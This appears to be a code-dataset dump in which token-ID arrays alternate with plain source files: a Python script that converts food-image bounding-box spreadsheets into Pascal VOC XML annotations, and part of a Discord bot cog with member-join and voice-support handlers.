[ 1, 529, 9507, 29958, 16713, 29914, 3389, 29918, 845, 538, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 4691, 29941, 13, 12008, 13, 27573, 29901, 13, 29871, 11431, 3389, 29918, 845, 538, 29889, 2272, 2295, 29918, 1445, 1962, 29918, 3972, 13, 14023, 29901, 13, 29871, 11431, 3389, 29918, 845, 538, 29889, 2272, 29772, 6995, 1357, 29918, 2917, 29889, 3945, 847, 7050, 29914, 4905, 13, 13, 9832, 1078, 385, 1060, 2943, 528, 538, 373, 15683, 29889, 7806, 2943, 674, 1303, 278, 2295, 934, 363, 13, 4381, 3987, 29889, 450, 7573, 674, 367, 6631, 304, 1269, 916, 322, 1269, 674, 884, 13, 3150, 263, 3957, 304, 385, 7475, 2265, 472, 376, 23981, 597, 7640, 5919, 812, 1309, 2265, 29918, 3188, 29918, 637, 718, 2943, 29918, 1949, 467, 13, 12008, 13, 13, 5215, 10876, 13, 5215, 2897, 13, 5215, 931, 13, 5215, 1014, 5014, 13, 13, 18010, 29922, 1839, 7640, 742, 13, 539, 525, 7640, 742, 13, 539, 525, 7640, 2033, 13, 13, 812, 21543, 29918, 3177, 2433, 7640, 29915, 13, 13, 2962, 29918, 5014, 267, 353, 5852, 13, 3389, 29918, 262, 29918, 3090, 3197, 9274, 353, 7700, 13, 13, 1949, 29918, 18010, 353, 7431, 29898, 18010, 29897, 13, 1949, 29918, 29873, 29906, 29918, 845, 3163, 29922, 29896, 13, 3188, 29918, 637, 353, 29871, 29945, 29953, 29945, 29945, 29900, 13, 812, 1309, 2265, 29918, 3188, 29918, 637, 353, 29871, 29945, 29955, 29945, 29945, 29900, 13, 13, 2917, 29918, 1445, 353, 10876, 29889, 19218, 29961, 29896, 29962, 13, 1188, 29918, 3972, 353, 10876, 29889, 19218, 29961, 29906, 29962, 13, 3364, 29918, 1445, 353, 10876, 29889, 19218, 29961, 29941, 29962, 13, 13, 361, 954, 29918, 18010, 529, 29871, 29941, 29901, 13, 1678, 1596, 703, 2392, 29892, 1353, 310, 7573, 1818, 367, 6736, 29871, 29941, 1159, 13, 13, 5355, 29918, 637, 353, 5159, 13, 3177, 29918, 5182, 353, 5159, 13, 4905, 29918, 1445, 353, 5159, 13, 1454, 474, 297, 3464, 29898, 1949, 29918, 18010, 1125, 13, 1678, 7868, 29918, 637, 29889, 4397, 703, 23981, 597, 29930, 6160, 29974, 710, 29898, 3188, 29918, 637, 29974, 29875, 876, 13, 1678, 2943, 29918, 5182, 29889, 4397, 703, 23981, 597, 17969, 18010, 29961, 29875, 10062, 4710, 29974, 710, 29898, 3188, 29918, 637, 29974, 29875, 876, 13, 1678, 1962, 29918, 1445, 29889, 4397, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1188, 29918, 3972, 29892, 376, 3359, 29894, 3177, 29918, 4905, 17969, 710, 29898, 29875, 7240, 1642, 1188, 5783, 13, 13, 3069, 29918, 1761, 353, 5159, 13, 1454, 474, 297, 3464, 29898, 1949, 29918, 18010, 1125, 13, 1678, 3495, 29918, 1761, 29889, 4397, 4197, 2314, 13, 1678, 396, 3177, 29918, 2248, 29922, 29875, 13, 1678, 363, 2380, 29892, 2943, 297, 26985, 29898, 18010, 1125, 13, 4706, 396, 14383, 1583, 13, 4706, 565, 313, 2248, 1275, 474, 1125, 13, 9651, 6773, 13, 4706, 3495, 29918, 1761, 29961, 29875, 1822, 4397, 29898, 3177, 29918, 5182, 29961, 2248, 2314, 13, 13, 13, 9006, 29879, 353, 5159, 13, 1454, 474, 297, 3464, 29898, 2435, 29898, 18010, 22164, 13, 1678, 9920, 29879, 29889, 4397, 4197, 2314, 13, 1678, 9920, 353, 9920, 29879, 29961, 29875, 29962, 13, 1678, 565, 1065, 29918, 262, 29918, 3090, 3197, 9274, 29901, 13, 4706, 9920, 29889, 4397, 703, 305, 29899, 3389, 1159, 13, 4706, 9920, 29889, 4397, 11974, 29920, 29914, 29883, 29899, 9274, 29914, 3972, 29879, 29914, 29916, 29947, 29953, 29918, 29953, 29946, 29899, 8767, 29896, 29953, 29889, 29900, 29946, 29899, 3359, 29883, 1161, 29899, 29894, 29900, 29906, 29947, 1159, 13, 4706, 9920, 29889, 4397, 703, 489, 1159, 13, 1678, 9920, 29889, 4397, 703, 6904, 3359, 29883, 1161, 1159, 13, 1678, 396, 731, 2943, 2380, 13, 1678, 9920, 29889, 21843, 29898, 3366, 489, 3177, 29899, 2248, 613, 851, 29898, 29875, 29897, 2314, 13, 1678, 396, 788, 2295, 934, 13, 1678, 9920, 29889, 21843, 29898, 3366, 489, 2917, 613, 2295, 29918, 1445, 2314, 13, 1678, 396, 788, 2295, 934, 13, 1678, 9920, 29889, 21843, 29898, 3366, 489, 2917, 613, 1209, 29918, 1445, 2314, 13, 1678, 396, 4511, 304, 1269, 2943, 13, 1678, 363, 3495, 297, 3495, 29918, 1761, 29961, 29875, 5387, 13, 4706, 9920, 29889, 21843, 29898, 3366, 489, 3069, 29899, 1761, 613, 3495, 2314, 13, 1678, 396, 4511, 304, 7475, 2265, 13, 1678, 9920, 29889, 21843, 29898, 3366, 489, 3069, 29899, 1761, 613, 376, 23981, 597, 17969, 812, 21543, 29918, 3177, 29974, 4710, 29974, 710, 29898, 812, 1309, 2265, 29918, 3188, 29918, 637, 29974, 29875, 29897, 2314, 13, 1678, 396, 7868, 363, 23235, 12368, 13, 1678, 9920, 29889, 21843, 29898, 3366, 489, 5355, 29899, 29734, 613, 7868, 29918, 637, 29961, 29875, 24960, 13, 13, 13383, 7346, 4136, 29937, 13, 13, 567, 353, 5159, 13, 1454, 2380, 29892, 9006, 297, 26985, 29898, 9006, 29879, 1125, 13, 1678, 1596, 703, 4247, 376, 718, 851, 29898, 2248, 29897, 718, 29242, 1159, 13, 1678, 1596, 703, 259, 10516, 29901, 9162, 29930, 9006, 29897, 13, 1678, 1596, 703, 259, 4522, 1445, 29901, 9162, 4905, 29918, 1445, 29961, 2248, 2314, 13, 1678, 565, 1369, 29918, 5014, 267, 29901, 13, 4706, 411, 1722, 29898, 4905, 29918, 1445, 29961, 2248, 1402, 376, 29893, 1159, 408, 714, 1445, 29901, 13, 9651, 6529, 29889, 4397, 29898, 1491, 5014, 29889, 29925, 3150, 29898, 9006, 29892, 27591, 29922, 449, 1445, 29892, 380, 20405, 29922, 449, 1445, 876, 13, 9651, 931, 29889, 17059, 29898, 29896, 29889, 29945, 29897, 13, 13, 361, 1369, 29918, 5014, 267, 29901, 13, 1678, 363, 282, 297, 6529, 29901, 13, 4706, 1596, 703, 15716, 292, 363, 7573, 2023, 274, 15206, 29899, 29883, 304, 6876, 23157, 13, 4706, 282, 29889, 10685, 580, 13, 13, 2158, 703, 18420, 26966, 23157, 13, 2 ]
object_detection/fine_tuning_utils/create_food_annotations.py
SirSykon/object_detection
0
82698
<reponame>SirSykon/object_detection<filename>object_detection/fine_tuning_utils/create_food_annotations.py import pandas as pd import os import cv2 import argparse import numpy as np from shutil import copyfile from xml.etree.ElementTree import Element, SubElement, Comment, tostring, parse, ElementTree def create_annotations(data_annotations_path, image_folder, output_annotations_folder, output_image_folder, labelmap_path, number_of_classes_to_get, reduce_factor): # We turn the .xls into a pandas Dataframe. df = pd.read_excel(io=data_annotations_path, sheet_name='Hoja3', names=['Image', 'Meal', 'x1', 'y1', 'x2', 'y2', 'x3', 'y3', 'x4', 'y4']) MEAL_LIST = list(df.Meal.unique()) meal_count = df['Meal'].value_counts() with pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also print(meal_count[:number_of_classes_to_get]) MEALS_TO_USE = list(meal_count[:number_of_classes_to_get].index) row = df.loc[df['Meal'].isin(MEALS_TO_USE)] for index, meal in enumerate(MEALS_TO_USE): item = {"id":index+1, "name":meal} print(item) with open(labelmap_path, 'a') as f: s = "\nitem {\n id: "+str(index+1)+"\n name: '"+meal+"'\n}" f.write(s) for index, (_, row) in enumerate(row.iterrows()): # We get the xml annotation path. xml_path = os.path.join(output_annotations_folder, row.Image + ".xml") # Does the .xm exists? if not os.path.exists(xml_path): print(f"{xml_path} not found.") # We get the image path. image_path = os.path.join(image_folder,row.Image + ".jpg") # We load the image and add it to the list. image = cv2.imread(image_path) if reduce_factor > 1: new_dim = (int(image.shape[1]/reduce_factor), int(image.shape[0]/reduce_factor)) image = cv2.resize(image, new_dim) cv2.imwrite(os.path.join(output_image_folder,row.Image + ".jpg"), image) #copyfile(image_path, os.path.join(output_image_folder,row.Image + ".jpg")) # We get height and width to normalize. h, w, c = image.shape ann = Element('annotation') folder = SubElement(ann, "folder") folder.text = "images" filename = SubElement(ann, "filename") filename.text = os.path.basename(image_path) path = SubElement(ann, "path") path.text = os.path.abspath(image_path) source = SubElement(ann, "source") database = SubElement(source, "database") database.text = "Unknown" size = SubElement(ann, "size") width = SubElement(size, "width") width.text = str(w) height = SubElement(size, "height") height.text = str(h) depth = SubElement(size, "depth") depth.text = str(c) segmented = SubElement(ann, "segmented") segmented.text = str(0) else: print(f"{xml_path} found.") xml_tree = parse(xml_path) root = xml_tree.getroot() ann = root class_label_id = MEAL_LIST.index(row.Meal) + 1 # We get bounding box corner coordinates. listX = [row.x1, row.x2, row.x3, row.x4] listY = [row.y1, row.y2, row.y3, row.y4] bbox_xmin = int(min(listX)/reduce_factor) bbox_ymin = int(min(listY)/reduce_factor) bbox_xmax = int(max(listX)/reduce_factor) bbox_ymax = int(max(listY)/reduce_factor) obj = SubElement(ann, "object") name = SubElement(obj, "name") name.text = str(row.Meal) pose = SubElement(obj, "pose") pose.text = "Unspecified" truncated = SubElement(obj, "truncated") truncated.text = str(0) difficult = SubElement(obj, "difficult") difficult.text = str(0) bndbox = SubElement(obj, "bndbox") xmin = SubElement(bndbox, "xmin") xmin.text = str(bbox_xmin) ymin = SubElement(bndbox, "ymin") ymin.text = str(bbox_ymin) xmax = SubElement(bndbox, "xmax") xmax.text = str(bbox_xmax) ymax = SubElement(bndbox, "ymax") ymax.text = str(bbox_ymax) tree = ElementTree(ann) tree.write(xml_path) """ child = SubElement(top, 'child') child.text = 'This child contains text.' child_with_tail = SubElement(top, 'child_with_tail') child_with_tail.text = 'This child has regular text.' child_with_tail.tail = 'And "tail" text.' child_with_entity_ref = SubElement(top, 'child_with_entity_ref') child_with_entity_ref.text = 'This & that' """ def main(): # Initiate argument parser parser = argparse.ArgumentParser(description="Generate xml files.", formatter_class=argparse.RawTextHelpFormatter) parser.add_argument( '-a', '--annotations_path', help='Path to .xls with annotation information.', type=str, default=None ) parser.add_argument( '-i', '--image_dir', help='Path to the folder where the image dataset is stored.', type=str, default=None ) parser.add_argument( '-o', '--output_dir', help='Path to the output folder where xml are saved.', type=str, default=None ) parser.add_argument( '-n', '--number_of_classes', help='The nummber of classes to take image of. If given number is lesser than 73 (default), the classes with most objects will be selected.', default=73, type=int) parser.add_argument( '-l', '--labelmap_path', help='The path to save the label map. If not provided, will be saved in image_dir.', default=None, type=str) parser.add_argument( '-r', '--reduce_factor', help='Factor to reduce image size.', default=1, type=int) args = parser.parse_args() if args.annotations_path is None: print("ERROR. No .xls with annotations provided.") quit() if args.image_dir is None: print("ERROR. No image folder provided.") quit() if args.output_dir is None: print("ERROR. No output folder provided.") quit() if not os.path.isdir(args.output_dir): os.makedirs(args.output_dir) if args.labelmap_path is None: args.labelmap_path = os.path.join(args.output_dir, "label_map.pbtxt") create_annotations(args.annotations_path, args.image_dir, args.output_dir, args.output_dir, args.labelmap_path, args.number_of_classes, args.reduce_factor) if __name__ == '__main__': main()
[ 1, 529, 276, 1112, 420, 29958, 29903, 381, 29903, 29891, 8077, 29914, 3318, 29918, 29881, 2650, 428, 29966, 9507, 29958, 3318, 29918, 29881, 2650, 428, 29914, 29888, 457, 29918, 29873, 27964, 29918, 13239, 29914, 3258, 29918, 1181, 397, 29918, 6735, 800, 29889, 2272, 13, 5215, 11701, 408, 10518, 13, 5215, 2897, 13, 5215, 13850, 29906, 13, 5215, 1852, 5510, 13, 5215, 12655, 408, 7442, 13, 3166, 528, 4422, 1053, 3509, 1445, 13, 3166, 4903, 29889, 300, 929, 29889, 2642, 9643, 1053, 10619, 29892, 3323, 2642, 29892, 461, 29892, 304, 1807, 29892, 6088, 29892, 10619, 9643, 13, 13, 1753, 1653, 29918, 6735, 800, 29898, 1272, 29918, 6735, 800, 29918, 2084, 29892, 1967, 29918, 12083, 29892, 1962, 29918, 6735, 800, 29918, 12083, 29892, 1962, 29918, 3027, 29918, 12083, 29892, 3858, 1958, 29918, 2084, 29892, 1353, 29918, 974, 29918, 13203, 29918, 517, 29918, 657, 29892, 10032, 29918, 19790, 1125, 13, 1678, 396, 1334, 2507, 278, 869, 20267, 964, 263, 11701, 3630, 2557, 29889, 13, 1678, 4489, 353, 10518, 29889, 949, 29918, 24633, 29898, 601, 29922, 1272, 29918, 6735, 800, 29918, 2084, 29892, 13, 462, 1678, 9869, 29918, 978, 2433, 29950, 29877, 1764, 29941, 742, 13, 462, 1678, 2983, 29922, 1839, 2940, 742, 525, 6816, 284, 742, 525, 29916, 29896, 742, 525, 29891, 29896, 742, 525, 29916, 29906, 742, 525, 29891, 29906, 742, 525, 29916, 29941, 742, 525, 29891, 29941, 742, 525, 29916, 29946, 742, 525, 29891, 29946, 11287, 13, 13, 1678, 22986, 1964, 29918, 24360, 353, 1051, 29898, 2176, 29889, 6816, 284, 29889, 13092, 3101, 13, 1678, 592, 284, 29918, 2798, 353, 4489, 1839, 6816, 284, 13359, 1767, 29918, 2798, 29879, 580, 13, 1678, 411, 10518, 29889, 3385, 29918, 4703, 877, 4990, 29889, 3317, 29918, 5727, 742, 6213, 29892, 525, 4990, 29889, 3317, 29918, 13099, 742, 6213, 1125, 29871, 396, 901, 3987, 508, 367, 6790, 884, 13, 4706, 1596, 29898, 1004, 284, 29918, 2798, 7503, 4537, 29918, 974, 29918, 13203, 29918, 517, 29918, 657, 2314, 13, 4706, 22986, 1964, 29903, 29918, 4986, 29918, 17171, 353, 1051, 29898, 1004, 284, 29918, 2798, 7503, 4537, 29918, 974, 29918, 13203, 29918, 517, 29918, 657, 1822, 2248, 29897, 13, 13, 1678, 1948, 353, 4489, 29889, 2029, 29961, 2176, 1839, 6816, 284, 13359, 275, 262, 29898, 2303, 1964, 29903, 29918, 4986, 29918, 17171, 4638, 13, 13, 1678, 363, 2380, 29892, 592, 284, 297, 26985, 29898, 2303, 1964, 29903, 29918, 4986, 29918, 17171, 1125, 13, 4706, 2944, 353, 8853, 333, 1115, 2248, 29974, 29896, 29892, 376, 978, 1115, 1004, 284, 29913, 13, 4706, 1596, 29898, 667, 29897, 13, 4706, 411, 1722, 29898, 1643, 1958, 29918, 2084, 29892, 525, 29874, 1495, 408, 285, 29901, 13, 9651, 269, 353, 6634, 29876, 667, 2802, 29876, 1678, 1178, 29901, 15691, 710, 29898, 2248, 29974, 29896, 7240, 26732, 29876, 1678, 1024, 29901, 525, 17969, 1004, 284, 13578, 12764, 29876, 5038, 13, 9651, 285, 29889, 3539, 29898, 29879, 29897, 13, 13, 1678, 363, 2380, 29892, 313, 3383, 1948, 29897, 297, 26985, 29898, 798, 29889, 1524, 5727, 580, 1125, 13, 13, 4706, 396, 1334, 679, 278, 4903, 17195, 2224, 29889, 13, 4706, 4903, 29918, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 4905, 29918, 6735, 800, 29918, 12083, 29892, 1948, 29889, 2940, 718, 11393, 3134, 1159, 13, 13, 4706, 396, 5538, 278, 869, 29916, 29885, 4864, 29973, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 3134, 29918, 2084, 1125, 13, 9651, 1596, 29898, 29888, 29908, 29912, 3134, 29918, 2084, 29913, 451, 1476, 23157, 13, 9651, 396, 1334, 679, 278, 1967, 2224, 29889, 13, 9651, 1967, 29918, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3027, 29918, 12083, 29892, 798, 29889, 2940, 718, 11393, 6173, 1159, 13, 13, 9651, 396, 1334, 2254, 278, 1967, 322, 788, 372, 304, 278, 1051, 29889, 13, 9651, 1967, 353, 13850, 29906, 29889, 326, 949, 29898, 3027, 29918, 2084, 29897, 13, 9651, 565, 10032, 29918, 19790, 1405, 29871, 29896, 29901, 13, 18884, 716, 29918, 6229, 353, 313, 524, 29898, 3027, 29889, 12181, 29961, 29896, 16261, 17469, 29918, 19790, 511, 938, 29898, 3027, 29889, 12181, 29961, 29900, 16261, 17469, 29918, 19790, 876, 13, 18884, 1967, 353, 13850, 29906, 29889, 21476, 29898, 3027, 29892, 716, 29918, 6229, 29897, 13, 9651, 13850, 29906, 29889, 326, 3539, 29898, 359, 29889, 2084, 29889, 7122, 29898, 4905, 29918, 3027, 29918, 12083, 29892, 798, 29889, 2940, 718, 11393, 6173, 4968, 1967, 29897, 13, 9651, 396, 8552, 1445, 29898, 3027, 29918, 2084, 29892, 2897, 29889, 2084, 29889, 7122, 29898, 4905, 29918, 3027, 29918, 12083, 29892, 798, 29889, 2940, 718, 11393, 6173, 5783, 13, 9651, 396, 1334, 679, 3171, 322, 2920, 304, 4226, 675, 29889, 13, 9651, 298, 29892, 281, 29892, 274, 353, 1967, 29889, 12181, 13, 13, 9651, 2889, 353, 10619, 877, 18317, 1495, 13, 9651, 4138, 353, 3323, 2642, 29898, 812, 29892, 376, 12083, 1159, 13, 9651, 4138, 29889, 726, 353, 376, 8346, 29908, 13, 9651, 10422, 353, 3323, 2642, 29898, 812, 29892, 376, 9507, 1159, 13, 9651, 10422, 29889, 726, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 3027, 29918, 2084, 29897, 13, 9651, 2224, 353, 3323, 2642, 29898, 812, 29892, 376, 2084, 1159, 13, 9651, 2224, 29889, 726, 353, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 3027, 29918, 2084, 29897, 13, 13, 9651, 2752, 353, 3323, 2642, 29898, 812, 29892, 376, 4993, 1159, 13, 9651, 2566, 353, 3323, 2642, 29898, 4993, 29892, 376, 9803, 1159, 13, 9651, 2566, 29889, 726, 353, 376, 14148, 29908, 13, 9651, 2159, 353, 3323, 2642, 29898, 812, 29892, 376, 2311, 1159, 13, 9651, 2920, 353, 3323, 2642, 29898, 2311, 29892, 376, 2103, 1159, 13, 9651, 2920, 29889, 726, 353, 851, 29898, 29893, 29897, 13, 9651, 3171, 353, 3323, 2642, 29898, 2311, 29892, 376, 3545, 1159, 13, 9651, 3171, 29889, 726, 353, 851, 29898, 29882, 29897, 13, 9651, 10809, 353, 3323, 2642, 29898, 2311, 29892, 376, 19488, 1159, 13, 9651, 10809, 29889, 726, 353, 851, 29898, 29883, 29897, 13, 13, 9651, 10768, 287, 353, 3323, 2642, 29898, 812, 29892, 376, 28192, 287, 1159, 13, 9651, 10768, 287, 29889, 726, 353, 851, 29898, 29900, 29897, 13, 13, 4706, 1683, 29901, 13, 9651, 1596, 29898, 29888, 29908, 29912, 3134, 29918, 2084, 29913, 1476, 23157, 13, 9651, 4903, 29918, 8336, 353, 6088, 29898, 3134, 29918, 2084, 29897, 13, 9651, 3876, 353, 4903, 29918, 8336, 29889, 657, 4632, 580, 13, 13, 9651, 2889, 353, 3876, 13, 13, 4706, 770, 29918, 1643, 29918, 333, 353, 22986, 1964, 29918, 24360, 29889, 2248, 29898, 798, 29889, 6816, 284, 29897, 718, 29871, 29896, 13, 13, 4706, 396, 1334, 679, 3216, 292, 3800, 11155, 10350, 29889, 13, 4706, 1051, 29990, 353, 518, 798, 29889, 29916, 29896, 29892, 1948, 29889, 29916, 29906, 29892, 1948, 29889, 29916, 29941, 29892, 1948, 29889, 29916, 29946, 29962, 13, 4706, 1051, 29979, 353, 518, 798, 29889, 29891, 29896, 29892, 1948, 29889, 29891, 29906, 29892, 1948, 29889, 29891, 29941, 29892, 1948, 29889, 29891, 29946, 29962, 13, 308, 13, 4706, 289, 1884, 29918, 29916, 1195, 353, 938, 29898, 1195, 29898, 1761, 29990, 6802, 17469, 29918, 19790, 29897, 13, 4706, 289, 1884, 29918, 962, 262, 353, 938, 29898, 1195, 29898, 1761, 29979, 6802, 17469, 29918, 19790, 29897, 13, 4706, 289, 1884, 29918, 29916, 3317, 353, 938, 29898, 3317, 29898, 1761, 29990, 6802, 17469, 29918, 19790, 29897, 13, 4706, 289, 1884, 29918, 29891, 3317, 353, 938, 29898, 3317, 29898, 1761, 29979, 6802, 17469, 29918, 19790, 29897, 13, 13, 4706, 5446, 353, 3323, 2642, 29898, 812, 29892, 376, 3318, 1159, 13, 4706, 1024, 353, 3323, 2642, 29898, 5415, 29892, 376, 978, 1159, 13, 4706, 1024, 29889, 726, 353, 851, 29898, 798, 29889, 6816, 284, 29897, 13, 4706, 18593, 353, 3323, 2642, 29898, 5415, 29892, 376, 4220, 1159, 13, 4706, 18593, 29889, 726, 353, 376, 25807, 3135, 2164, 29908, 13, 4706, 21022, 630, 353, 3323, 2642, 29898, 5415, 29892, 376, 509, 4661, 630, 1159, 13, 4706, 21022, 630, 29889, 726, 353, 851, 29898, 29900, 29897, 13, 4706, 5189, 353, 3323, 2642, 29898, 5415, 29892, 376, 12765, 3953, 1159, 13, 4706, 5189, 29889, 726, 353, 851, 29898, 29900, 29897, 13, 4706, 289, 299, 1884, 353, 3323, 2642, 29898, 5415, 29892, 376, 29890, 299, 1884, 1159, 13, 4706, 921, 1195, 353, 3323, 2642, 29898, 29890, 299, 1884, 29892, 376, 29916, 1195, 1159, 13, 4706, 921, 1195, 29889, 726, 353, 851, 29898, 29890, 1884, 29918, 29916, 1195, 29897, 13, 4706, 343, 1195, 353, 3323, 2642, 29898, 29890, 299, 1884, 29892, 376, 962, 262, 1159, 13, 4706, 343, 1195, 29889, 726, 353, 851, 29898, 29890, 1884, 29918, 962, 262, 29897, 13, 4706, 921, 3317, 353, 3323, 2642, 29898, 29890, 299, 1884, 29892, 376, 29916, 3317, 1159, 13, 4706, 921, 3317, 29889, 726, 353, 851, 29898, 29890, 1884, 29918, 29916, 3317, 29897, 13, 4706, 343, 3317, 353, 3323, 2642, 29898, 29890, 299, 1884, 29892, 376, 29891, 3317, 1159, 13, 4706, 343, 3317, 29889, 726, 353, 851, 29898, 29890, 1884, 29918, 29891, 3317, 29897, 13, 13, 4706, 5447, 353, 10619, 9643, 29898, 812, 29897, 13, 4706, 5447, 29889, 3539, 29898, 3134, 29918, 2084, 29897, 13, 13, 4706, 9995, 13, 4706, 2278, 353, 3323, 2642, 29898, 3332, 29892, 525, 5145, 1495, 13, 4706, 2278, 29889, 726, 353, 525, 4013, 2278, 3743, 1426, 6169, 13, 13, 4706, 2278, 29918, 2541, 29918, 18237, 353, 3323, 2642, 29898, 3332, 29892, 525, 5145, 29918, 2541, 29918, 18237, 1495, 13, 4706, 2278, 29918, 2541, 29918, 18237, 29889, 726, 353, 525, 4013, 2278, 756, 4943, 1426, 6169, 13, 4706, 2278, 29918, 2541, 29918, 18237, 29889, 18237, 353, 525, 2855, 376, 18237, 29908, 1426, 6169, 13, 13, 4706, 2278, 29918, 2541, 29918, 10041, 29918, 999, 353, 3323, 2642, 29898, 3332, 29892, 525, 5145, 29918, 2541, 29918, 10041, 29918, 999, 1495, 13, 4706, 2278, 29918, 2541, 29918, 10041, 29918, 999, 29889, 726, 353, 525, 4013, 669, 393, 29915, 13, 4706, 9995, 13, 268, 13, 1753, 1667, 7295, 13, 13, 1678, 396, 512, 4812, 403, 2980, 13812, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 543, 5631, 403, 4903, 2066, 19602, 13, 462, 462, 268, 883, 2620, 29918, 1990, 29922, 1191, 5510, 29889, 22131, 1626, 29648, 18522, 29897, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 17411, 29874, 742, 525, 489, 6735, 800, 29918, 2084, 742, 13, 4706, 1371, 2433, 2605, 304, 869, 20267, 411, 17195, 2472, 29889, 742, 13, 4706, 1134, 29922, 710, 29892, 13, 4706, 2322, 29922, 8516, 13, 1678, 1723, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 17411, 29875, 742, 525, 489, 3027, 29918, 3972, 742, 13, 4706, 1371, 2433, 2605, 304, 278, 4138, 988, 278, 1967, 8783, 338, 6087, 29889, 742, 13, 4706, 1134, 29922, 710, 29892, 13, 4706, 2322, 29922, 8516, 13, 1678, 1723, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 17411, 29877, 742, 525, 489, 4905, 29918, 3972, 742, 13, 4706, 1371, 2433, 2605, 304, 278, 1962, 4138, 988, 4903, 526, 7160, 29889, 742, 13, 4706, 1134, 29922, 710, 29892, 13, 4706, 2322, 29922, 8516, 13, 1678, 1723, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 17411, 29876, 742, 525, 489, 4537, 29918, 974, 29918, 13203, 742, 13, 4706, 1371, 2433, 1576, 954, 29885, 495, 310, 4413, 304, 2125, 1967, 310, 29889, 960, 2183, 1353, 338, 3109, 261, 1135, 29871, 29955, 29941, 313, 4381, 511, 278, 4413, 411, 1556, 3618, 674, 367, 4629, 29889, 742, 13, 4706, 2322, 29922, 29955, 29941, 29892, 13, 4706, 1134, 29922, 524, 29897, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 17411, 29880, 742, 525, 489, 1643, 1958, 29918, 2084, 742, 13, 4706, 1371, 2433, 1576, 2224, 304, 4078, 278, 3858, 2910, 29889, 960, 451, 4944, 29892, 674, 367, 7160, 297, 1967, 29918, 3972, 29889, 742, 13, 4706, 2322, 29922, 8516, 29892, 13, 4706, 1134, 29922, 710, 29897, 13, 308, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 17411, 29878, 742, 525, 489, 17469, 29918, 19790, 742, 13, 4706, 1371, 2433, 29943, 7168, 304, 10032, 1967, 2159, 29889, 742, 13, 4706, 2322, 29922, 29896, 29892, 13, 4706, 1134, 29922, 524, 29897, 13, 13, 13, 1678, 6389, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 268, 13, 1678, 565, 6389, 29889, 6735, 800, 29918, 2084, 338, 6213, 29901, 13, 4706, 1596, 703, 11432, 29889, 1939, 869, 20267, 411, 25495, 4944, 23157, 13, 4706, 23283, 580, 13, 13, 1678, 565, 6389, 29889, 3027, 29918, 3972, 338, 6213, 29901, 13, 4706, 1596, 703, 11432, 29889, 1939, 1967, 4138, 4944, 23157, 13, 4706, 23283, 580, 13, 308, 13, 1678, 565, 6389, 29889, 4905, 29918, 3972, 338, 6213, 29901, 13, 4706, 1596, 703, 11432, 29889, 1939, 1962, 4138, 4944, 23157, 13, 4706, 23283, 580, 13, 268, 13, 1678, 565, 451, 2897, 29889, 2084, 29889, 275, 3972, 29898, 5085, 29889, 4905, 29918, 3972, 1125, 13, 4706, 2897, 29889, 29885, 12535, 12935, 29898, 5085, 29889, 4905, 29918, 3972, 29897, 13, 308, 13, 1678, 565, 6389, 29889, 1643, 1958, 29918, 2084, 338, 6213, 29901, 13, 4706, 6389, 29889, 1643, 1958, 29918, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 5085, 29889, 4905, 29918, 3972, 29892, 376, 1643, 29918, 1958, 29889, 29886, 3116, 486, 1159, 13, 13, 1678, 1653, 29918, 6735, 800, 29898, 5085, 29889, 6735, 800, 29918, 2084, 29892, 6389, 29889, 3027, 29918, 3972, 29892, 6389, 29889, 4905, 29918, 3972, 29892, 6389, 29889, 4905, 29918, 3972, 29892, 6389, 29889, 1643, 1958, 29918, 2084, 29892, 6389, 29889, 4537, 29918, 974, 29918, 13203, 29892, 6389, 29889, 17469, 29918, 19790, 29897, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1667, 580, 13, 2 ]
Extensions/Event-Handler.py
Drageast/Die_Botin
0
168762
# Import from discord.ext import commands import discord import asyncio # Utils import Utils # Cog Initialising class EventHandler(commands.Cog): def __init__(self, client): self.client = client @commands.Cog.listener() async def on_member_remove(self, user: discord.Member): try: await Utils.DBPreconditioning.DEL_Uccount(self, user) except: pass @commands.Cog.listener() async def on_voice_state_update(self, member, before, after): if after.channel is None: return elif after.channel.id == Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "SupportChannelVOICE") and not member.bot: channel = await self.client.fetch_channel(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "AdminChat")) role1 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Owner"))) role2 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Administrator"))) role3 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Developer"))) embed = discord.Embed( title="Support Anfrage:", colour=discord.Colour(Utils.Farbe.Orange), description=f"**{role1.mention}/{role2.mention}/{role3.mention}**\nDer User: `{member.name}` wartet in dem Sprachkanal: `{after.channel.name}`." ) embed.set_thumbnail(url=member.avatar_url) m = await channel.send(embed=embed) await asyncio.sleep(120) await m.delete() else: pass @commands.Cog.listener() async def on_member_join(self, user: discord.Member): embed = discord.Embed( title=f"Hallo {user.name}!", colour=discord.Colour(Utils.Farbe.Welcome_Blue), description=f"Hallo {user.mention} willkommen auf dem Discord Server:\n**{user.guild.name}** !\nUm Spieler zu suchen, gehe in den Korrespondierenden Kanal,\n" f"die Angepinnte Nachricht oben im Chat erklärt, wie es funktioniert.\n**Viel Spaß!**" ) 